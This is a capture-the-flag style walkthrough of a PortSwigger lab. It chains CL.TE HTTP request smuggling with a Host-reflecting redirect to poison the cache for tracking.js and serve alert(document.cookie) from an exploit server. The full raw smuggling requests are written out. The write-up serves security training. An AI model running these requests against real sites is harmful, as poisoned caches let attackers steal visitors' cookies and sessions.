Skip to content
Field Details
Platform PortSwigger Web Security Academy
Type HTTP Request Smuggling — CL.TE, Web Cache Poisoning
Difficulty Practitioner
Objective Poison the cache so a victim requesting a JavaScript file gets served alert(document.cookie) from the exploit server

Exploiting HTTP Request Smuggling to Poison the Web Cache

Loading the web application and checking Burp's HTTP history reveals the page loading a JavaScript file:

Screenshot
GET /resources/labheader/js/labHeader.js

Checking its response headers:

Cache-Control: max-age=30
Screenshot

The response is cached for 30 seconds. If we can poison the cache entry for a JavaScript file the victim's browser fetches automatically, anyone who loads that page within that window gets our malicious response instead. The exploit server body is set to alert(document.cookie) under the matching path.

Intercepting a root request, switching to POST and HTTP/1.1:

Screenshot

CL.TE setup. Testing a basic smuggled GET /miku:

POST / HTTP/1.1
Host: 0a01001703cde0b280a1172c00dd0034.web-security-academy.net
Content-Length: 35
Transfer-Encoding: chunked

0

GET /miku HTTP/1.1
Teto: teto
Screenshot

404 Not Found — desync confirmed.

First attempt: pointing the smuggled request at /resources with our exploit server as the Host. Rejected with Duplicate header names are not allowed.

Screenshot

Adding a full body with its own Content-Length to separate the request properly:

POST / HTTP/1.1
Host: 0a01001703cde0b280a1172c00dd0034.web-security-academy.net
Content-Length: 108
Transfer-Encoding: chunked

0

GET /resources HTTP/1.1
Host: exploit-0a290059033ce00d8082166c01bb00de.exploit-server.net
Content-Length: 20

teto=teto
Screenshot

Still rejected — the server isn't accepting our exploit server as a valid host for that path. We need a redirect gadget instead.

Looking at the post navigation in the app:

Screenshot

Intercepting the "next post" link:

Screenshot
HTTP/2 302 Found
Location: https://0a01001703cde0b280a1172c00dd0034.web-security-academy.net/post?postId=7

/post/next?postId=6 issues a 302 and the Location header reflects the Host. If we put our exploit server as Host in the smuggled request, the redirect points to our server. We update the exploit server file path to /post to match:

Screenshot
POST / HTTP/1.1
Host: 0a01001703cde0b280a1172c00dd0034.web-security-academy.net
Content-Length: 137
Transfer-Encoding: chunked

0

GET /post/next?postId=6 HTTP/1.1
Host: exploit-0a290059033ce00d8082166c01bb00de.exploit-server.net
Content-Length: 20

teto=teto
Screenshot

The normal request following the smuggled one gets the redirect — then the 200 from our exploit server:

Screenshot
HTTP/2 200 OK
Content-Type: application/javascript; charset=utf-8

alert(document.cookie);
Screenshot

Alert fires but the lab doesn't solve.

Screenshot

The problem: we poisoned a cache entry the victim simulator doesn't automatically request. The victim's browser loads tracking.js on every page visit — that's the analytics script the simulator targets. Updating the smuggled GET to /resources/js/tracking.js and repeating the attack:

Screenshot
Screenshot

This will get the alert fired, and get the lab solved o.o

Dead Ends & Rabbit Holes

  • Pointing the smuggled Host at the exploit server for /resources directly — rejected with "Duplicate header names are not allowed." Needs a full request structure with its own Content-Length, and even then the server rejects the host.
  • Poisoning labHeader.js — the alert fires locally but the victim simulator requests tracking.js, not the header script, so the lab doesn't solve.

Resources